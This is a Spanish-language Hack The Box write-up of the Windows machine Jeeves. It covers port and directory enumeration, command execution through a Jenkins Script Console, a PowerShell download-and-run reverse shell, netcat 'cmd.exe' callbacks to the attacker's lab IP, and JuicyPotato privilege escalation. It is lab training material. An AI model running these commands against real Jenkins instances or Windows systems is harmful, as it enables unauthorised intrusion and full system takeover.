El día de hoy 26 de Marzo llegó el momento para retomar la publicación de los write-up de Hack The Box que tan entretenidos nos mantiene. En esta ocasión he aprovechado que me tocó hacer de anfitrión en la tercera Meetup de HackTheBox Bolivia el día de ayer, en donde resolvimos la máquina JEEVES. Aquí les va la resolución paso a paso:

OSRELEASEDIFFICULTYAUTHOR
WINDOWS11/NOV/17MEDIUMmrb3n

Resumen:

  • Enumeración de puertos y servicios con Nmap
  • Análisis de la aplicación web y fuzzing de directorios
  • Ejecución de comandos e intrusión
  • Obtención de usuario / Captura del fichero user.txt
  • Escalada de privilegios / Captura de fichero root.txt

Enumeración:

Pondremos en marcha nuestro Nmap básico:

nmap -sS -sV -v jeeves.htb

Aquí observamos al menos 2 vectores por donde encarrilar nuestros siguientes pasos. Por ahora nos centraremos en los puertos que cuentan con servicios HTTP levantados.

Aplicaciones web:

Por un lado en el puerto 80 observamos la siguiente aplicación web:

Que en principio no nos dice mucho, tan solo contamos con una entrada de datos que procedemos a testear:

Al pulsar en «Search», como respuesta tenemos un aparente error del servidor, aunque se trata de algo fake, ya que en realidad no es la respuesta real del servidor, si no que es una imagen:

Por tanto y visto lo visto, dejo un poco del lado el puerto 80 y procedo a revisar la aplicación web que pueda estar accesible desde el puerto misteriosamente alto 50000. Para mi sorpresa esta es la respuesta que enseña:

Para descartar que esto sea definitivo, procederé a fuzzear esta web e intentaré averiguar potenciales directorios ocultos.

gobuster dir -u http://jeeves.htb:50000/ -w /usr/share/dirb/wordlists/common.txt

Este diccionario no me ofrece nada de valor, es más, el resultado resultó nulo:

Probaremos suerte con otros diccionarios mayores.

Después de validar con diccionarios como big.txt (20469 palabras), names.txt (8607 palabras) del directorio de wordlists de la herramienta Dirb, mejor decido saltar a los wordlists de Dirbuster.
Y finalmente es aquí en los diccionarios de Dirbuster que obtengo resultados:

gobuster dir -u http://jeeves.htb:50000/ -w /usr/share/dirbuster/wordlists/directory-list-1.0.txt

Ojo, que son diccionarios voluminosos y por tanto los resultados podrían demorar algo más.

Ejecución de comandos e intrusión:

Finalmente hemos identificado la aplicación web que corre bajo este puerto alto:

Es hora de intentar aprovechar esta instancia de Jenkins en nuestro beneficio.

Para ello y siendo conocedor de la plataforma, identificaremos rápidamente el módulo de «Script Console«:

Éste módulo nos otorgará la posibilidad de ejecutar comando en el sistema, para ello probaremos con la siguiente inserción inicial:

command = "whoami"
println command.execute().text

Al presionar sobre el botón Run obtendremos la salida de la ejecución del comando:

command = "systeminfo"
println command.execute().text

Después de identificar que el objetivo se trata de un Windows 10, procederemos a obtener una reverse shell, esta vez a través de la herramienta Nishang, en concreto a través del script Invoke-PowerShellTcp.ps1:

Antes de poner en marcha nuestro script en el objetivo, haremos una pequeña modificación para incorporar como ultima línea de ejecución, lo siguiente:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.103 -Port 443

Con esto conseguiremos que se ejecute directamente nuestra reverse shell.

Nos mantendremos a la escucha con NetCat y ejecutaremos desde la instancia de Jenkins nuestra reverse shell:

python -m SimpleHTTPServer
nc -lvnp 443
command = """ powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.103:8000/Invoke-PowerShellTcp.ps1') """
println command.execute().text

Obtención de usuario:

Con el acceso obtenido es hora de identificar y dirigirnos al directorio del usuario para hacernos con la primera flag:

Escalada de privilegios:

Para conseguir la escalada de privilegios haremos inicialmente un reconocimiento manual básico que nos permita identificar potenciales vectores. Arrancamos con mirar privilegios del usuario:

whoami /priv

Al observar el privilegio de «SeImpersonatePrivilege» se nos viene a la mente el uso de Juicy Potato.

Lo primero será llevar al objetivo todos los recursos necesario para desplegar nuestro ataque:

powershell -c Invoke-WebRequest -Uri "http://10.10.14.103:8000/nc.exe" -OutFile nc.exe
powershell -c Invoke-WebRequest -Uri "http://10.10.14.103:8000/JuicyPotato.exe" -OutFile JuicyPotato.exe
powershell -c Invoke-WebRequest -Uri "http://10.10.14.103:8000/rshell.bat" -OutFile rshell.bat

El contenido del fichero rshell.bat es:

C:\Users\kohsuke\Downloads\nc.exe -e cmd.exe 10.10.14.102 8088

Ahora comprobamos que nuestro binario de Juicy Potato sea totalmente funcional:

Para ponerlo en marcha tendremos que disponer de una clave CLSID válida. Una clave CLSID es un número de 128 bits que representa un identificador único para una aplicación o para un componente, según la definición de Microsoft.
En este caso y para evitarnos identificar un clave CLSID en el objetivo, vamos a utilizar las ya recopiladas también por el proyecto de Juicy Potato, en este caso desde la siguiente ruta: https://github.com/ohpe/juicy-potato/tree/master/CLSID

Por tanto nuestro Juicy Potato quedaría confirmado de la siguiente manera:

./JuicyPotato.exe -p ./rshell.bat -l 8088 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Que tras su ejecución obtendríamos la siguiente vista:

Y obviamente nuestra deseada reverse shell:

Finalmente y para conseguir la flag del administrador debemos dirigirnos a su directorio:

Para nuestra sorpresa la bandera no está donde se supone que debería estar. Tan solo tenemos un mensaje intrigante:

Por lo tanto vamos revisar este directorio con algo más de «profundidad». En este caso se revisaron las secuencias de los ficheros existentes, en donde se identificó uno con tipo de flujo $DATA:

Bien, para leer este elemento lo haremos de la siguiente forma:

Sin duda una máquina Windows interesante a la par que entretenida.

Referencias: